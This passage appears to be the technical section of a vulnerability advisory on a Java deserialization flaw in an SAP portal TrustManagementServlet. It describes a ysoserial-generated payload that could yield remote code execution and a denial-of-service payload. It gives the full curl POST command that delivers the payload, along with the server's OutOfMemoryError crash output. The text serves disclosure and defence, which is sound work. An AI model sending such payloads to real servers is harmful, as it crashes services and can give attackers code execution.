7. TECHNICAL DESCRIPTION  
  
PoC  
  
Evil object in 'serial.cc3' as an attachment in this bug entry. It was  
generated with ysoserial framework, if the commons.collections jar was  
in the CLASSPATH we will have direct RCE.  
  
Now, we can only send DoS payloads that will trigger OutOfMemory  
exception on 7.5. Payload for that as attachment named 'serial.mem'.  
  
  
curl -v -XPOST --user 'user:password'  
http://172.16.30.29:50000/com.sap.portal.fpn.enterpriseservicesweb.mod/TrustManagementServlet  
--data-binary @serial.cc3  
  
This request will trigger a series of exceptions in server's log.  
  
The DoS payload will render the server unstable for some minutes with  
following exception:  
  
Server process shutting down with exit code [666] memory allocation  
error [OutOfMemoryError]  
java.lang.OutOfMemoryError: Requested array size exceeds VM limit  
(failed to allocate 8589934576 bytes) (array length 2147483639)
